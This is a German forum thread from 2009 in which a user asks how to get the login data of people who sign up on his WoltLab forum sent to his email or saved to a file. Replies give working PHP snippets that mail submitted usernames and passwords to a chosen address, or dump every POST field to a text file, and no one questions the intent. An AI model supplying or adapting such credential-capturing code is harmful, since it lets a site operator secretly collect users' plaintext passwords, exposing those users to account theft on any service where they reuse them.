PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : login zuschicken lassen



xyro
15.06.2009, 23:39
hallo ich habe mal ne frage giebt es ein script mit dem ich mir wenn sich einer auf meine seite anmelden tut das ich die login daten zugeschickt bekomme auf meine email adresse oder ein file auf dem ftp gespeichert wird wäre echt klasse wenn mir einer helfen könnte habe das woltlab forum script

bitte um hilfe danke schon mal

n00kie
15.06.2009, 23:55
Die mail() (http://de2.php.net/manual/de/function.mail.php)-Funktion ermöglicht das Senden von E-Mails. In deinem Beispiel, wäre das dann z.B.


$username = $_GET['username'];
$password = $_GET['password'];

$empfaenger = "mail@beispiel.de";
$betreff = "Betreff";
$nachricht = "Username: ".$username ."\r\nPassword: ".$password;
mail($empfaenger, $betreff, $nachricht);


Hoffe ich konnte helfen.

xyro
16.06.2009, 00:10
cool danke und jetzt bekomme ich sofern sich einer auf meine seite reggt seine daten ja

Lidloses_Auge
16.06.2009, 00:12
Hast du überhaupt eine Ahnung von PHP?

Das Beispiel von Nintendo wird wohl vermutlich andere Bezeichner für die Variablen benötigen, es sei denn diese heißen zufällig genauso. Es gibt kein fertiges Script, da musst du den Sourcecode schon selbst anpassen. Entweder mit der mail() Funktion oder fopen() zum erstellen von Dateien.

xyro
16.06.2009, 00:15
ne ich habe keine arnung von php deswegen habe ich ja gefragt ob mir einer helfen kann

CyphaX
16.06.2009, 00:16
hättest 2 min gegoogelt wärst auch auf dem ergebnis gekomm ;)

xyro
16.06.2009, 00:17
ich weis ja nicht nachwas ich googeln sollte

n00kie
16.06.2009, 05:13
Das Beispiel von Nintendo wird wohl vermutlich andere Bezeichner für die Variablen benötigen, es sei denn diese heißen zufällig genauso.
Klar, ist ja auch nur ein frei erfundenes Beispiel.



$username = $_GET['username'];
$password = $_GET['password'];

Hierbei musst du nun einfach nur später die entsprechenden Namen, der Eingabefelder eintragen. Hier mal ein Beispiel:

<input type="text" name="username" />
<input type="password" name="password"/>


ich weis ja nicht nachwas ich googeln sollte
Stichwörter wie: "php mail to", "php mail script" oder sonstiges hätten dich an dein Ziel gebracht.

VeN0m
16.06.2009, 14:54
Oder man packt sämtliche POST-Werte per Foreach in eine Variable... So in etwa:



<?php

$content = "";
foreach($_POST AS $key => $value) {

$content .= $key."=".$value."\r\n";

}

$empfaenger = "mail@beispiel.de";
$betreff = "Betreff";
mail($empfaenger, $betreff, $content);

?>


Hier werden alle Inhalte, die per POSt übergeben werden im Format Key=Value in die Variable $content gepackt. Dazu ist ein anpassen nicht nötig.
Oder eben per Speicherung auf dem Space:



<?php

$handle = fopen("log.txt","a");

foreach($_POST AS $key => $value) {

fwrite($handle,$key."=".$value."\r\n");

}

fwrite($handle,"\r\n");
fclose($handle);

?>


Ich würde Dir aber mal empfehlen, auf PHP.net (http://php.net) die Funktionen nachzuschauen, um sie zu verstehen. PHP zu lernen lohnt sich wirklich immer.